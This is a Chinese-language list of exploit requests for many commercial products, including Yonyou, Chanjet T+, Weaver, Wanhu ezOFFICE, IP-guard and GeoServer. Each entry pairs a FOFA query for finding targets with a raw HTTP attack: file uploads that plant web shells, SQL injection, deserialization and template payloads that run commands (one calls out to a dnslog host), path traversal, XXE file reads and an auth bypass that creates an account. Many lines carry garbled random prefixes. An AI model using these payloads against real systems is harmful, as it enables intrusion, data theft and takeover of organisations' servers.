$ r! X. f- r  h! SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
* E% Q6 u' x+ V/ L; m* QAccept-Language: zh-CN,zh;q=0.9
9 _# o' g- v3 V% ?* RIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
/ I. n/ m0 ^* W2 t/ nConnection: close
% k6 L7 a( l; o; O/ o/ O

  |2 ~) @( r2 }# q. y, E( m7 c
48. 用友U8 CRM swfupload 任意文件上传
3 ~( x1 M5 Y2 l. P; Y) b3 QFOFA：title="用友U8CRM"
7 _  ]. W: g7 c% X4 d% bPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
' N7 F: I: k0 @6 R6 S2 w' \Content-Disposition: form-data; name="file"; filename="s.php"
- Z  g# _3 @% ^+ `7 U- e1231
Content-Type: application/octet-stream
------269520967239406871642430066855
- p7 p: U" z1 \3 OContent-Disposition: form-data; name="upload"
. q7 C- V/ Y. q8 x( i/ Q0 Yupload
------269520967239406871642430066855--
$ H8 l  k; B8 e, k- q  t2 q

49. 用友U8 CRM系统uploadfile.php接口任意文件上传
5 \+ L# s- Z5 Q  F& }& a3 uFOFA：body="用友U8CRM"

8 V) V$ A, i; G% WPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
& ?5 \6 L' v& m, aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
$ p/ a# u/ C9 v( Y  [Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
8 k0 D  Q4 C/ ^* sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
$ P6 o) f! \2 p5 K* EContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream
; P  \2 O* w& N' x
wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

upload
. A1 t/ b1 o+ Y" i! {" S! h" G-----------------------------vvv3wdayqv3yppdxvn3w--


% Y! L3 D" b& k0 `# |http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
, u! Z6 G2 D# E0 m/ v% r, Z2 FFOFA：body="close closebtnmodal"
0 P0 a; G/ q1 tPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 v! Z) O6 P4 t! C) K) YConnection: close
Content-Length: 224
! o0 d" }$ U4 h& ~& lAccept: */*
+ R" q$ o- j( U) X1 f6 |Accept-Language: en
5 o* y' ]( T$ T) a( D$ v9 T+ AContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
) W& E) j1 d6 F; u0 E
+ r( _/ Y$ ?/ {2 d' Qsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
1 x: f9 Q' ]+ o1 Y* a$ r

51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
( L9 W. ?1 l  V& t6 AFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
( ^' X: I0 v% `  I; O  p6 i2 ~/ J& [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% Z( ]7 p& |+ X$ W* g/ |* rConnection: close
. i5 g# B: b2 `! z
7 o" W8 ]$ l1 J
52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
- B7 V8 S7 J8 @; J; z+ JPOST /building/json_common.php HTTP/1.1
( L& e. u2 ~+ E+ h9 P3 I0 BHost: 192.168.86.128:8097
6 K9 w& p5 T8 t' ^User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
5 J' s. ]' L. Z' y2 tAccept: */*
- C/ B2 i& `9 b" i9 |) _+ QAccept-Language: en
7 U2 Z9 @1 m7 F& `' g% c$ E* _% \# ~Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

3 J& Y5 T3 V6 p& I1 ^4 Ltfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


53. 迪普 DPTech VPN Service 任意文件上传
6 y8 o. Q: n- Q7 }, E/ s* aFOFA：app="DPtech-SSLVPN"
. B7 `2 D/ B: N/ m* \+ v/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


54. 畅捷通T+ getstorewarehousebystore 远程代码执行
7 q  w; ^3 ]9 T( g( m1 K! WFOFA：app="畅捷通-TPlus"
: d0 D4 U3 S' g6 S, m( I第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
$ P9 s! @0 O8 Y8 B8 m7 G  d"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
6 p& h9 l# K( }. q4 m# y: m

完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
3 e; J" f0 y5 \# I/ B( hHost: x.x.x.x
8 u1 K! i4 s, f" e% D" wUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

' Q3 g- L7 H  i0 E: a& I6 Y8 G{
  `4 a9 t9 O% ]# Z"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
- w' Q8 `% B+ M/ ?/ t- t( u0 E  "ObjectInstance":{
) _7 ]2 Q" x  R4 N0 d" L4 T: T  M   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
2 l' n9 t, f, R    "StartInfo":{
9 I- r: _- S1 H, l   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
( E( Z/ f& V4 S    "FileName":"cmd",
, |1 `1 v* q9 r! c; g    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
3 I; P. E8 D1 Q9 @& @7 H    }
  }
2 ]/ F1 X8 a! l  }
( A+ p/ e) T, C  A9 O/ ~}
8 P8 K. Z$ K! \/ O

  G/ \2 Z% w- F6 C第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

0 t4 d, m3 U% G; d5 ]
* x0 {& L0 y, X+ U( A' `# v* d55. 畅捷通T+ getdecallusers信息泄露
$ y- @* N% N/ \FOFA：app="畅捷通-TPlus"
' w, b7 u8 T; p7 p$ g第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
6 |/ k- l1 n2 w6 y0 k4 }/ OPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
' W  y. [% m" D1 Z; X% b1 BContent-Type: application/json

{
3 d1 {9 z3 V! s+ U8 F  "storeID":{
8 ~1 ?! A% x  m    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
. ]' c, w0 t2 ?1 Q6 p' q' Q/ D7 P       }
    }
  }
+ |3 E& {6 M* y" t/ ^}

9 Z) H( C  `+ P7 b! \6 L. j0 o
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
+ H% C7 h2 C, }. q4 Q. T% i. bUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
+ I8 j  N6 P0 J7 B- ~8 K3 aConnection: close


58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
( O9 x3 \: N0 f; z2 G! _. TGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
6 v' w/ B/ O/ f9 nUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
7 R" }8 n7 j$ E7 {( ~6 m1 c) vAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
! s. x# _3 K1 x/ N, |Connection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
6 m: r# y3 E8 vFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
* I: y  R$ p; s' r8 iPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
- H0 a+ z# F$ N) I! b( RUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
4 j0 G' {* t1 O, \% Q  V. i1 QConnection: close
Content-Length: 1669
1 q( U# _2 N3 ]% FAccept: */*
Accept-Language: en
: Q8 L* x! y; JContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

PAYLOAD


7 W/ B( }9 _! S, C' O0 {60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
3 {4 K% q4 T) G4 s; |. m  FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ A/ C8 X% Q. s4 q- d; G, sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 o, j! ^$ d+ R9 o- x; qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1 O3 z4 V% h: N5 q2 U& V

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
8 ^+ p% j5 r# a4 @3 c) GFOFA: title="欢迎使用浙大恩特客户资源管理系统"
3 I' b! y' T8 U- fPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
Accept: */*
6 K8 y. {7 D6 X+ HAccept-Encoding: gzip, deflate
5 S* r! Y; c9 ]Accept-Language: en
Content-Type: application/x-www-form-urlencoded
3 F- g6 D9 Q2 g4 b+ E; r* u
5 ^: j% l& w9 Q2 M; ~8uxssX66eqrqtKObcVa0kid98xa
9 w9 p* Q8 M) n: Q' r! T; G( r% V
7 @) {5 [& q$ i( i  z! V) `$ j9 [
62. IP-guard WebServer 远程命令执行
% K+ L$ f2 u# a0 W) [FOFA："IP-guard" && icon_hash="2030860561"
3 t- Y9 y  P3 ^9 y$ {) p1 v$ |GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
& m+ {: V! h3 PUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
* P) \, N/ n( Q4 b, ~Accept-Encoding: gzip
) C' V4 ]$ L' [& N5 ]# P- Y: s2 o( d

) r' u7 z- a. ?' Y, Q7 H访问
) p# |& ?9 d0 a% ~% B
; F& S- x$ c% ^& h, yGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
: u# h) m' m' xHost: x.x.x.x


+ a, ^. [& O7 V" K63. IP-guard WebServer任意文件读取
0 ?- ]4 E8 O5 d0 z. O4 BIP-guard < 4.82.0609.0
( e( o- r( S4 CFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
! j! d& M, ]6 n' A0 rHost: your-ip
1 i5 O2 Y' N( `2 K( f  j/ SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
% P+ I/ G. w% ^4 J* }1 r( OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 ~7 N1 h% c7 s- O) I" ?! VConnection: close
# E# p0 Q' {6 ^# D" G4 |( yContent-Type: application/x-www-form-urlencoded
6 O! D# D5 R' S7 b0 A
+ f9 O  T& ~$ X. ~! D7 f' ^path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

; f  N& x1 H1 m, p64. 捷诚管理信息系统CWSFinanceCommon SQL注入
! _, S& U: k5 J6 eFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
7 B$ p& i" M8 t& @Host: 192.168.86.128:9001
0 x5 t) u) v0 AUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
- m& O6 A* ?* U6 p" aContent-Length: 369
Accept: */*
0 e$ E8 ~0 M, L( b8 c' m7 R! W- HAccept-Language: en
Content-Type: text/xml; charset=utf-8
8 h( l' C6 G; C3 H2 p7 }* f! uAccept-Encoding: gzip
. z3 F: f* q2 |8 N. C
' f' _: s5 N: @% ]: M<?xml version="1.0" encoding="utf-8"?>
# _, D: y  y8 k- d- E7 q1 [<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
$ }+ D/ H5 n4 T- ~<soap:Body>
7 g* ^0 ~) b" Z! Z    <GetOSpById xmlns="http://tempuri.org/">
7 \0 u- W0 n; _2 `( k; `# j5 [      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>

6 p7 c/ I+ F" d: w6 T$ X' z
7 t: ^2 @0 c" _9 s$ X/ G+ m$ d65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
) L  L8 n" f5 d  h' kFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
- H1 ~* W& F1 W# r, l1 }POST /SystemMng.ashx HTTP/1.1
& E3 e6 I' s# F9 j4 _Host:
3 |% R" G$ ?7 p3 W; f" bUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
; T( l) h  T# L$ IContent-Length: 174
1 p3 K1 G2 h& ^) z8 o
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
$ }$ v8 u6 y3 F) l* B0 F

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
" O  o# [; X  a2 x/ i: iFOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
$ [3 c- J# i( v6 ]# R" \1 HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
% W# s9 [. X7 K/ a" U! T: BConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
% O( ]& }  g2 o' M' s* |
) ^2 I3 N. [* w' b8 r' j
! l9 g0 g! w6 d1 _* L* ?- R7 d第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
. B. P1 I1 b; u$ }3 u2 H
67. 万户ezOFFICE wpsservlet任意文件上传
0 }( v& Z! f# H  s. f5 ?! ZFOFA：app="万户网络-ezOFFICE"
$ c3 @0 f. E- I4 A2 e1 enewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
! c5 i+ I& b( D* f8 R% UUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
+ S6 Z/ L+ ]2 T( RContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
; B, H: z7 J0 l8 s( _Accept-Encoding: gzip, deflate
# s) O; R% ], r5 z( B+ }4 o5 G$ XAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
/ U% R) S; ^: i; }2 A, r% G* ?Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
9 M# e0 t7 G( f( @0 _. YUpgrade-Insecure-Requests: 1
( w1 z1 v& s# n; Y1 y7 S" J
--ufuadpxathqvxfqnuyuqaozvseiueerp
3 s+ H2 \! O* M$ J1 Z; E1 L+ b) BContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
! D, p2 d$ q# l. S; l. N. {/ W3 O
! E' ~4 _' O- s9 N4 X/ |1 A( v<% out.print("sasdfghjkj");%>
. H8 N& }: N* T* m) @/ D--ufuadpxathqvxfqnuyuqaozvseiueerp--
. t) _  y- H9 ~' j$ H3 a! U. l
1 {" l6 n5 q1 R9 a9 H2 x5 T4 K
6 _4 W" l/ a* B5 `6 H7 m. |7 k文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
6 D; S4 p& \& a- r) ]; A3 n
68. 万户ezOFFICE wf_printnum.jsp SQL注入
1 p: }" e! N% i8 ?& J. g; y$ |FOFA：app="万户ezOFFICE协同管理平台"
- M' k2 y! O- I$ }+ H' n$ PGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
+ k6 H0 p" E0 E; kHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
: W7 G- y/ D+ ^  KAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
+ O7 V, b0 O; Y+ [/ U1 a9 c( A' F4 JAccept-Language: zh-CN,zh;q=0.9
Connection: close
8 [0 l& r" s# u

6 V) Y1 D6 U0 R8 a4 m69. 万户 ezOFFICE contract_gd.jsp SQL注入
& w2 A2 E% p' u- e1 A# H+ _2 lFOFA：app="万户ezOFFICE协同管理平台"
5 h+ P. W3 e7 L8 g, aGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
7 Y1 W; z; p# U9 w5 F4 P& n  kHost: your-ip
4 Y& A+ f# }7 d, aUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
' t# @3 l6 a6 |8 J' }9 B( N) _Accept-Encoding: gzip, deflate
6 F$ Z( R4 W$ P5 W0 BAccept: */*
Connection: keep-alive
7 |! J: w4 `8 X
3 u$ P2 r# O- k6 G
70. 万户ezEIP success 命令执行
  _$ l3 ?( ^5 I8 t6 k' T9 zFOFA：app="万户网络-ezEIP"
( a0 y) ^' d* c1 U8 g/ R' Q- OPOST /member/success.aspx HTTP/1.1
. N$ Q# Q- k2 T5 a$ Q. r( dHost: {{Hostname}}
8 n1 K; e( H, V) [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
) p- [* R6 ?# V8 V: h0 N* I. GSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
- c0 n$ _8 e6 ATYPE: C
+ }9 f: E  k6 m' n  f1 I) f# f5 D; GContent-Length: 16702

__VIEWSTATE=PAYLOAD
; d9 d# k  j1 Q( p% f# u$ j

/ ?. V, K  M0 P% D71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
/ H8 d  Y1 m, j$ iHost: x.x.x.xx.x.x.x
% I& F& ^3 b/ p8 M& ]User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
1 j1 Z( ]! t- w, l5 c4 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; L: v7 ~8 k5 v2 O3 x5 p" wAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1


72. 致远OA getAjaxDataServlet XXE
9 F9 k4 y3 L9 [) A) v+ L" ^4 @FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
4 I2 f  r5 Z* Q9 F( m, b$ C0 ZConnection: close
! R* ~$ ]2 y' ^7 @0 o, _Content-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
* }: S8 v" X+ k! f
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

- ?; m6 Y4 {/ c/ y# |
+ m7 J3 U' S; {5 \  _& w, \73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
% v' p2 g" T0 y7 `POST /geoserver/wms HTTP/1.1
: v. n- `$ N5 f6 d4 v  B' @5 lHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
+ B* {/ {0 V0 U8 x* U; wAccept-Encoding: gzip, deflate
Connection: close
& s9 e) \2 ^2 u  e( t: sContent-Type: application/xml
& C( |- g6 M' J* M1 Q$ ySL-CE-SUID: 3

5 K3 e6 Q. ~4 P/ U* P  P- b, O* YPAYLOAD
2 s/ D5 Z% M4 K* N1 q4 G1 `# i
$ G* {+ A4 e* m: \3 M+ Y0 e
74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD

& v' r2 _' E/ B/ b, i75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
$ \: \+ s: c/ _! Y* \GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
( G7 ]4 H" ]& b3 {3 KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 K& K  R7 h& _! LConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


) Y) r- a" f/ u  R/ WGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
' ~  E( ?9 @- D: M+ }( @# U
' @# m7 T  `7 M- y/ s; A$ \
76. 新开普掌上校园服务管理平台service.action远程命令执行
' M3 G* r5 \+ {9 u% C- yFOFA：title="掌上校园服务管理平台"
. o/ f5 Q7 n% X7 s& I4 gPOST /service_transport/service.action HTTP/1.1
( w, v- a% e6 _4 D( _+ S' RHost: x.x.x.x
2 V, ?: c- D  [! `! W. J7 oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
5 }3 M  p' }  @& ?Connection: close
Content-Length: 211
! T+ j" ^5 @+ ]' u" BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 f' }1 c2 H3 iAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

6 F4 M7 N9 p: A  h. \8 P{
"command": "GetFZinfo",
' g1 g  C+ j6 k$ M' O6 Z! y$ X- L  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
' D2 E: `- z" I3 T: l  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}


